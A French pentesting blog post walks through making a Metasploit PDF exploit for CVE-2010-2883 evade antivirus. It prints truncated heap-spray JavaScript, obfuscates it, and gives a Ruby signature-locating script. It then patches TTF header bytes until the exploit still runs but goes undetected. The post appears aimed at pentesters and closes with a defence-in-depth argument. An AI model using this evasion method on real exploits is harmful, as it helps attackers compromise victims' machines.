Contourner la détection AV sur un exploit PDF

Filtrer par catégorie :

12 Juillet 2016 by Florent Poulain
Florent Poulain

Tout pentesteur s'est un jour retrouvé aux prises avec un antivirus bloquant ses outils, que ça soit pour un pentest, une campagne de phishing, une démonstration de sensibilisation, etc. Plusieurs ressources Internet présentent des techniques habituelles en contournement de signatures lorsqu'on travaille directement avec un exécutable, ou au moins lorsque la détection intervient sur le payload utilisé comme un meterpreter. Il faut alors avoir recours aux encoders, packers, ou encore pour les solutions les plus manuelles, modifier+recompiler le code d'exploitation, etc.

Mais que faire lorsque la détection concerne un exploit sur un format de fichier tel que PDF, et que le payload utilisé n'est pas détecté, rendant les encodeurs inutiles ?

Cet article donne quelques pistes de travail pour ce genre de situations, et démontre l'importance de la défense en profondeur lorsqu'un code malveillant parvient à contourner les barrières jusqu'au coeur de l'entreprise.
 

Préparation

L'exploit utilisé ici est généré par le module « adobe_cooltype_sing » de metasploit, exploitant la vulnérabilité CVE-2010-2883 dans une ancienne version d'un lecteur PDF, et bien évidemment détecté par les antivirus. La note VirusTotal du PDF avant toute modification est de 36/53. Note: dans la suite de l'article, un seul antivirus sera utilisé pour évaluer la détection. D'autre part, pour des questions de lisibilité, les payloads sont fortement tronqués (aux endroits des caractères « [...] »).

Dès le départ était présente l'idée de devoir, à un moment ou à un autre, faire une recherche dichotomique en écrasant des morceaux de fichier de plus en plus petits jusqu'à localiser l'endroit précis de la signature. Cette technique, également connue pour les fichiers exécutables, risquait par contre de se heurter à la compression PDF dans le cas d'une mise en application trop naïve.

Les streams d'un PDF peuvent en effet être compressés (voire chiffrés pour les PDF avec mot de passe), ce qui est apparemment le cas du PDF produit par metasploit. En effet, un petit « strings- pipe -grep » à la recherche de morceaux de code JavaScript vus dans le module ruby de msf ne donne rien du tout. Le problème de la recherche dichotomique envisagée est alors l'écrasement d'octets compressés, ce qui risque de corrompre les données et d'empêcher leur décompression.

Une bonne idée est alors de décompresser les streams du PDF avec pdftk, et de travailler à partir de là. Le code JS devient alors visible dans le nouveau PDF:

$ strings msf_reverse_tcp.pdf | grep var
$ pdftk msf_reverse_tcp.pdf output msf_reverse_tcp_unc.pdf uncompress
$ strings msf_reverse_tcp_unc.pdf | grep var
var bLqIoDLVxNIMTRCnavxkuacbyJzEwYzvGuLcxmHRnhcxgXsWbkstUxXNeGfStdiNZWvfkikJwYFqANpGyrIKMPvAkIbElHOKLtw = unescape;
var gKUPOmXAgssMAYAuMnIrRhSqUhhZhFECrgXJtAYZNCUrZXAdfT = bLqIoDLVxNIMTRCnavxkuacbyJzEwYzvGuLcxmHRnhcxgXsWbkstUxXNeGfStdiNZWvfkikJwYFqANpGyrIKMPvAkIbElHOKLtw( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000[...]

Ensuite, le fichier peut être analysé davantage. Un PDF contient généralement une structure avec plusieurs « objets », des « streams », etc. Il serait assez prévisible que l'exploit se trouve dans un de ceux-ci, et il serait intéressant de savoir lequel précisément avant de se lancer dans la localisation de la signature. Plusieurs outils permettent d'examiner cette structure et d'extraire ou d'éditer les différents contenus. La bibliothèque Origami est assez connue, mais un autre outil à la prise en main plus évidente, « peepdf » va nous sauver la vie pour cette tâche (github).
 

Identifier où sont les signatures

Une fois ouvert le fichier, Peepdf donne quelques statistiques intéressantes. Il détecte également certains payloads potentiellement pertinents pour un analyste de malwares, notamment un objet contenant du code JavaScript, d'id 13, et apparemment un objet identifié comme lié à la vulnérabilité CVE-2010-2883, id 12. Pas mal du tout !

$ python peepdf/peepdf.py -i msf_reverse_tcp_unc.pdf
File: msf_reverse_tcp_unc.pdf
Size: 71568 bytes
Version: 1.5
Binary: True
Linearized: False
Encrypted: False
[...]
Version 0:
    Catalog: 1
    Info: No
    Objects (14): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]
    Streams (4): [9, 12, 13, 14]
        Encoded (0): []
    Objects with JS code (1): [13]
    Suspicious elements:
        /AcroForm (1): [1]
        /OpenAction (1): [1]
        /XFA (1): [2]
        /JS (1): [4]
        /JavaScript (1): [4]
        CoolType.SING.uniqueName (CVE-2010-2883): [12]
Ensuite avec les commandes stream ou object, le contenu des différents éléments du PDF est affiché dans la console.

 

Confirmation est faite que les données semblant réellement intéressantes se trouvent dans les streams 12 et 13. En effet, le stream 12 semble contenir un petit paquet de données binaires, qui se révèle être une fonte TTF en recherchant les headers lisibles sur le net. Cela correspond par ailleurs à des éléments visibles dans le code du module metasploit ou à la documentation existante sur CVE-2010-2883.

PPDF> stream 12
00 01 00 00 00 11 01 00 00 04 00 10 4f 53 2f 32   |............OS/2|
b4 5f f4 63 00 00 eb 70 00 00 00 56 50 43 4c 54   |._.c...p...VPCLT|
d1 8a 5e 97 00 00 eb c8 00 00 00 36 63 6d 61 70   |..^........6cmap|
[...]
09 c6 8e b2 00 00 b4 c4 00 00 04 30 6b 65 a2 6e   |...........0ke.n|
dc 52 d5 99 00 00 bd a0 00 00 2d 8a 6c 6f 63 61   |.R........-.loca|
f3 cb d2 3d 00 00 bb 84 00 00 02 1a 6d 61 78 70   |...=........maxp|
05 47 06 3a 00 00 eb 2c 00 00 00 20 53 49 4e 47   |.G.:...,... SING|
d9 bc c8 b5 00 00 01 1c 00 00 1d df 70 6f 73 74   |............post|
b4 5a 2f bb 00 00 b8 f4 00 00 02 8e 70 72 65 70   |.Z/.........prep|
3b 07 f1 00 00 00 20 f8 00 00 05 68 00 00 01 00   |;..... ....h....|
Et le stream 13 contient manifestement le code JavaScript généré par le module metasploit:
PPDF> stream 13
var bLqIoDLVxNIMTRCnavxkuacbyJzEwYzvGuLcxmHRnhcxgXsWbkstUxXNeGfStdiNZWvfkikJwYFqANpGyrIKMPvAkIbElHOKLtw = unescape;
var gKUPOmXAgssMAYAuMnIrRhSqUhhZhFECrgXJtAYZNCUrZXAdfT = bLqIoDLVxNIMTRCnavxkuacbyJzEwYzvGuLcxmHRnhcxgXsWbkstUxXNeGfStdiNZWvfkikJwYFqANpGyrIKMPvAkIbElHOKLtw( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u[...]09eb%u7c1d%uae0c%u7e22%u7831%uf41b%ub872%u0718%u9dc9%u8209%ub131%u874a' );
var NHsheKHxxsiFwYSLeTJsvaVNoHcSmmkpbshf = bLqIoDLVxNIMTRCnavxkuacbyJzEwYzvGuLcxmHRnhcxgXsWbkstUxXNeGfStdiNZWvfkikJwYFqANpGyrIKMPvAkIbElHOKLtw( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (NHsheKHxxsiFwYSLeTJsvaVNoHcSmmkpbshf.length + 20 + 8 < 65536) NHsheKH[...]
uyPOxlONxNAsEbZgKQSSHNBIjxCPEsRzmRikHPWBjFizyLiwUTcKsqDyoFqkyOgewwwOexstH = SoVA.substring(0, 0x80000 - (0x1020-0x08) / 2);
var ytAVecOTixEhAmGUPrbvpDMQprLEUNHjpiGJoiSPLMkmwWIslXgaiQzDBXEmpFoNpO = new Array();
for (AaPspolcXVmrkWjwpNCvdujVsMECTtClFAYvL=0;AaPspolcXVmrkWjwpNCvdujVsMECTtClFAYvL<0x1f0;AaPspolcXVmrkWjwpNCvdujVsMECTtClFAYvL++) ytAVecOTixEhAmGUPrbvpDMQprLEUNHjpiGJoiSPLMkmwWIslXgaiQzDBXEmpFoNpO[AaPspolcXVmrkWjwpNCvdujVsMECTtClFAYvL]=uyPOxlONxNAsEbZgKQSSHNBIjxCPEsRzmRikHPWBjFizyLiwUTcKsqDyoFqkyOgewwwOexstH+"s";

 

Ensuite, l'idée est d'isoler le contenu des streams les uns après les autres en les écrasant tous, sauf un, par une chaîne de caractères inoffensive, et de donner ça à l'antivirus pour voir comment la détection change.

La commande modify de Peepdf permet d'effectuer ce remplacement:

PPDF> modify
Usage: modify object|stream $object_id [$version] [$file]

Modifies the object or stream specified. It's possible to use a file to retrieve the stream content (ONLY for stream content).

Par exemple, remplacement du stream 12 par une chaîne de caractères « toto » et sauvegarde:

PPDF> modify stream 12
Please, specify the stream content (if the content includes EOL characters use a file instead):
toto

Object modified successfully!!

PPDF> save stream12.pdf
File saved succesfully!!

Bien sûr, même procédure d'isolation un par un avec les éventuels autres streams ou objets suspects. Dans cet exemple, un jeu de 4 fichiers sera généré, avec respectivement les streams 9, 12, 13 et 14 isolés. Les fichiers résultants sont passés à l'antivirus, et manifestement ça se complique un peu: les tests révèlent deux signatures différentes au moins, détectant les streams 12 et 13. Pas de signature dans les autres objets ou streams par contre.

detection

Analyse:

  • « stream12.pdf » qui ne contient plus que le stream n° 12, la fonte TTF, est détecté en tant que EXP/CVE-2010-2883. La fonte TTF responsable de l'exploitation de la vulnérabilité est donc identifiée comme malveillante.
  • « stream13.pdf » qui ne contient plus que le stream n°13, le code JavaScript, est détecté en tant que EXP/Pidief.hdg. Cela ressemble à une signature plus ou moins générique de code JavaScript malveillant.

Contournement de la signature JavaScript

Le JavaScript devrait être plus facile à modifier que la fonte TTF, qui est un format de fichier binaire. Après quelques tests manuels, une tentative de bypass facile et rapide est faite avec un obfuscateur de JavaScript online.

Le code JS du PDF est copié collé sur le site, et celui-ci donne le code suivant en retour, très différent du code original:

var _0x83f1=["\x75\x62\x38\x37\x32\x25\x75\x30\x37\x31\x38\x25\x75\x39 [...] \x64\x63\x39\x25\x75\x38\x32\x30\x39\x25\x75\x62\x31\x33\x31\x25\x75\x38\x37\x34\x61","\x25","\x75","\x30","\x63","\x25\x75","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x73"];var bLqIoDLVxNIMTRCnavxkuacbyJzEwYzvGuLcxmHRnhcxgXsWbkstUxXNeGfStdiNZWvfkikJwYFqANpGyrIKMPvAkIbElHOKLtw=unescape;var gKUPOmXAgssMAYAuMnIrRhSqUhhZhFECrgXJtAYZNCUrZXAdfT=bLqIoDLVxNIMTRCnavxkuacbyJzEwYzvGuLcxmHRnhcxgXsWbkstUxXNeGfStdiNZWvfkikJwYFqANpGyrIKMPvAkIbElHOKLtw(_0x83f1[0]);var NHsheKHxxsiFwYSLeTJsvaVNoHcSmmkpbshf=bLqIoDLVxNIMTRCnavxkuacbyJzEwYzvGuLcxmHRnhcxgXsWbkstUxXNeGfStdiNZWvfkikJwYFqANpGyrIKMPvAkIbElHOKLtw(_0x83f1[1]+ _0x83f1[2]+ _0x83f1[3]+ _0x83f1[4]+ _0x83f1[3]+ _0x83f1[4]+ _0x83f1[5]+ _0x83f1[3]+ _0x83f1[4]+ _0x83f1[3]+ _0x83f1[4]);while(NHsheKHxxsiFwYSLeTJsvaVNoHcSmmkpbshf[_0x83f1[6]]+ 20+ 8< 65536){NHsheKHxxsiFwYSLeTJsvaVNoHcSmmkpbshf+= NHsheKHxxsiFwYSLeTJsvaVNoHcSmmkpbshf};PgHYGkknsdQowAocIEvcWOAzVulLCgIiUOYMWffyEitizelbeROAHKLaeJckkLMqlSTXiocEBWeNvZLMvaCO= NHsheKHxxsiFwYSLeTJsvaVNoHcSmmkpbshf[_0x83f1[7]](0,(0x0c0c- 0x24)/ 2);PgHYGkknsdQowAocIEvcWOAzVulLCgIiUOYMWffyEitizelbeROAHKLaeJckkLMqlSTXiocEBWeNvZLMvaCO+= gKUPOmXAgssMAYAuMnIrRhSqUhhZhFECrgXJtAYZNCUrZXAdfT;PgHYGkknsdQowAocIEvcWOAzVulLCgIiUOYMWffyEitizelbeROAHKLaeJckkLMqlSTXiocEBWeNvZLMvaCO+= NHsheKHxxsiFwYSLeTJsvaVNoHcSmmkpbshf;SoVA= PgHYGkknsdQowAocIEvcWOAzVulLCgIiUOYMWffyEitizelbeROAHKLaeJckkLMqlSTXiocEBWeNvZLMvaCO[_0x83f1[7]](0,65536/ 2);while(SoVA[_0x83f1[6]]< 0x80000){SoVA+= SoVA};uyPOxlONxNAsEbZgKQSSHNBIjxCPEsRzmRikHPWBjFizyLiwUTcKsqDyoFqkyOgewwwOexstH= SoVA[_0x83f1[7]](0,0x80000- (0x1020- 0x08)/ 2);var ytAVecOTixEhAmGUPrbvpDMQprLEUNHjpiGJoiSPLMkmwWIslXgaiQzDBXEmpFoNpO= new Array();for(AaPspolcXVmrkWjwpNCvdujVsMECTtClFAYvL= 0;AaPspolcXVmrkWjwpNCvdujVsMECTtClFAYvL< 0x1f0;AaPspolcXVmrkWjwpNCvdujVsMECTtClFAYvL++){ytAVecOTixEhAmGUPrbvpDMQprLEUNHjpiGJoiSPLMkmwWIslXgaiQzDBXEmpFoNpO[AaPspolcXVmrkWjwpNCvdujVsMECTtClFAYvL]= uyPOxlONxNAsEbZgKQSSHNBIjxCPEsRzmRikHPWBjFizyLiwUTcKsqDyoFqkyOgewwwOexstH+ _0x83f1[8]}

Reste à le mettre dans le PDF grâce à la commande modify stream 13 modified.js de Peepdf. N.B. si les nouvelles données contiennent des retours chariots, il faut utiliser un fichier intermédiaire comme ici, modified.js. Puis l'antivirus est lancé suite à cette nouvelle modification. Le PDF résultant est détecté comme « EXP/CVE-2010-2883 », ce qui correspond à la signature pour l'autre stream TTF. Pour être sûrs, si le stream contenant la fonte TTF est écrasé dans ce fichier par un « toto », aucune signature ne se déclenche.

Le contournement de la signature de détection du JavaScript est donc réussi. Néanmoins, la confiance était assez bonne dans la possibilité d'obfusquer suffisamment le JS pour le rendre indétectable, mais nettement moins bonne concernant la fonte TTF de l'exploit qui doit maintenant être traitée.
 

Contournement de la signature CVE-2010-2883

Pour le contournement de la détection du CVE, il semblait commode de revenir à une bonne vieille technique d'isolation de signature par recherche dichotomique.

Le petit script ci-dessous a été écrit pour cela, probablement pas bug-free et assez naïf, mais répondant au besoin. Il s'utilise ainsi: ruby chunker.rb <fichier> <nb de chunks> [offset de début] [offset de fin]. Si aucun offset n'est spécifié, l'intégralité du fichier est prise par défaut. Ensuite le script divise la zone à traiter suivant le nombre de chunks demandés, et écrase tour à tour chacun des chunks avec des chaînes de "AAAAA", et écrit le résultat dans un nouveau fichier dont le nom indique les offsets de l'écrasement.

#! /usr/bin/env ruby

file = ARGV[0]
amount = ARGV[1].to_i
if ARGV.size > 2 then
  start = ARGV[2].to_i
  endp = ARGV[3].to_i
else
  start = 0
  endp = File.size?(file)
end

ext = File.extname(file)
Dir.mkdir("output") unless File.exists? "output"

c = 0
size = (endp - start) / amount

while c <= amount do
  i = start + c * size
  j = i + size

  outfile = "output/" + "chunk-#{i}-#{j}" + ext

  fd1 = File.open(file, "r+")
  fd2 = File.open(outfile, "w+")

  fd2.write(fd1.read(i))
  fd2.write("A" * size)
  fd1.seek(size, IO::SEEK_CUR)
  fd2.write(fd1.read())
  fd2.close
  fd1.close

  c += 1
end

Pour déterminer les offsets pertinents à utiliser lors de la première passe, Peepdf possède une commande offsets bien pratique, permettant de lister les offsets de début et de fin des différents objets:

PPDF> offsets
   [...]
     556
        Object  9 (114)
     669
     672
        Object  11 (126)
     797
     800
        Object  12 (66000)
   66799
   66802
        Object  4 (60)
   66861
   66864
        Object  13 (53)
   66916
   [...]
   67688
        Trailer (51)
   67738
   67739 EOF

Rappelez-vous, le stream contenant la fonte TTF « malveillante » est le n° 12, donc entre les octets 800 et 66799. Comme le PDF traité est décompressé, il va être possible d'exécuter le script chunker.rb directement dessus, entre ces offsets:

$ ruby chunker.rb msf_rev_tcp_jsOk.pdf 100 800 66799

En sortie, 100 nouveaux fichiers PDF sont générés, dont le nom précise entre quels offsets les données ont été écrasées:

$ ls output/
chunk-10026-10685.pdf  chunk-17275-17934.pdf  chunk-24524-25183.pdf  chunk-31773-32432.pdf  chunk-39022-39681.pdf  chunk-46271-46930.pdf  chunk-53520-54179.pdf  chunk-6072-6731.pdf    chunk-7390-8049.pdf
chunk-10685-11344.pdf  chunk-17934-18593.pdf  chunk-25183-25842.pdf  chunk-32432-33091.pdf  chunk-39681-40340.pdf  chunk-46930-47589.pdf  chunk-5413-6072.pdf    chunk-60769-61428.pdf  chunk-800-1459.pdf
chunk-11344-12003.pdf  chunk-18593-19252.pdf  chunk-25842-26501.pdf  chunk-33091-33750.pdf  chunk-40340-40999.pdf  chunk-4754-5413.pdf    chunk-54179-54838.pdf  chunk-61428-62087.pdf  chunk-8049-8708.pdf
chunk-12003-12662.pdf  chunk-19252-19911.pdf  chunk-26501-27160.pdf  chunk-33750-34409.pdf  chunk-4095-4754.pdf    chunk-47589-48248.pdf  chunk-54838-55497.pdf  chunk-62087-62746.pdf  chunk-8708-9367.pdf
chunk-12662-13321.pdf  chunk-19911-20570.pdf  chunk-27160-27819.pdf  chunk-3436-4095.pdf    chunk-40999-41658.pdf [...]

Ensuite, l'antivirus est lancé sur ce corpus de fichiers en mode nettoyage, histoire qu'il ne reste plus dans le dossier que les fichiers non détectés. De la sorte, le premier coup d'oeil embrasse toutes les zones dont l'écrasement a permis de contourner la détection AV.

Après ce premier tour du script, il ne reste qu'un seul fichier non détecté:

first

Conclusion, la signature se trouve entre les offsets 800 et 1459. Il est alors possible de relancer un deuxième tour entre ces nouveaux offsets, pour identifier plus précisément la zone détectée:

$ ruby chunker.rb msf_rev_tcp_jsOk.pdf 100 800 1459

Cette fois-ci, le nombre de détection diminue, et les fichiers restants permettent de restreindre la zone détectée entre les offsets 1016 à 1148:

seconde

Apparemment il n'y a pas de discontinuité dans la détection, soit avec un peu de chance une seule signature pour toute la zone. La modification d'une petite zone entre le 1016ème et le 1048ème octet devrait alors suffire à contourner l'antivirus. Le problème étant l'édition cette fois-ci d'un fichier binaire, les modifications ne devant évidemment pas « casser » l'exploit.

La zone pertinente est examinée dans un éditeur hexadécimal:

hte

Apparemment, c'est en plein dans les headers du fichier TTF. Le header qui annonce la fameuse table « SING » permettant l'exploitation de la CVE-2010-2883 est d'ailleurs visible au milieu de la fenêtre. Après quelques vérifications et calculs, cette zone pourrait être une bonne nouvelle, car en lisant le code du module metasploit, il est visible que les données importantes pour l'exploitation sont écrites à l'offset 284 (0x11c) du fichier TTF. cf ligne 124 du module adobe_cooltype_sing.rb:

ttf_data[0x11c, sing.length] = sing

Or ici, la détection se trouve entre 1016 - 800 = 216 et 1148 - 800 = 348 octets.

Pourquoi cette correction de 800 ? Peepdf avait montré que le fichier TTF se trouve à l'offset 800 du fichier PDF, alors que les offsets visibles dans metasploit sont relatifs au fichier TTF lui-même.

En bref, il est peut-être possible de manipuler les octets du fichier TTF entre 216 et 284 octets, soit à la fois avant les octets de shellcode significatifs mais en plein dans la zone de détection de l'AV, et donc sans « abimer » l'exploit et sans devoir se plonger dans l'assembleur pour le faire fonctionner.

Et finalement, la suite a été plus simple que prévu :-) En repartant d'un PDF qui contenait le nouveau JavaScript obfusqué dans le stream 12 et en faisant de nouveau tourner le script chunker.rb sur le début de la zone détectée dans le stream 13, c'est à dire à partir de l'offset 1016, le hasard a fait apparaître qu'un des fichiers produits était parfaitement fonctionnel en termes d'exploitation, en plus d'être indétectable.

En fait, le premier fichier traité, dès l'offset 1016, fonctionne parfaitement ! La curiosité pousse évidemment à regarder ce que le script a écrasé précisément:

diff
diff

4 octets non-ASCII dans le header TTF ont été remplacés par des "A". On ne cherchera pas plus loin à parser le header TTF pour savoir à quoi cela correspond exactement, étant donné que le but est atteint, et qu'il est maintenant possible de profiter de l'exploit et de l'exécution de code en dépit de l'antivirus du poste.
 

Conclusion

Il a été possible de combiner des techniques d'isolation de signatures déjà connues avec des outils capables de réaliser un bon parsing du format de fichier ciblé, afin d'arriver au contournement de l'antivirus. La démarche générale a été:

  • Décompression du document et parsing / extraction des objets
  • Isolation des différents objets les uns après les autres, afin de lister exhaustivement tous ceux déclenchant la détection
  • Obfuscation des données lisibles détectées, ici le code JavaScript
  • Recherche dichotomique de signatures dans les données binaires, et modification de la zone détectée

La méthode présentée peut s'étendre à d'autres formats de fichiers, à condition d'avoir accès à des outils capables d'extraire les structures et données qui les constituent.

Si les antivirus restent utiles pour bloquer la majorité des codes malveillants, ils ne sont généralement efficaces que contre des codes déjà connus. De plus, nous venons de voir qu'il est relativement facile de rendre indétectable un fichier précédemment détecté sans altérer son fonctionnement. Il est donc nécessaire d'appliquer le principe de défense en profondeur afin de limiter le potentiel de dégâts d'un code malveillant parvenant au coeur du réseau interne. De plus, les capacités de détection d'une présence malveillante ne doivent pas se limiter aux détections virales, mais prendre en compte les comportements suspects dans tout le système d'information.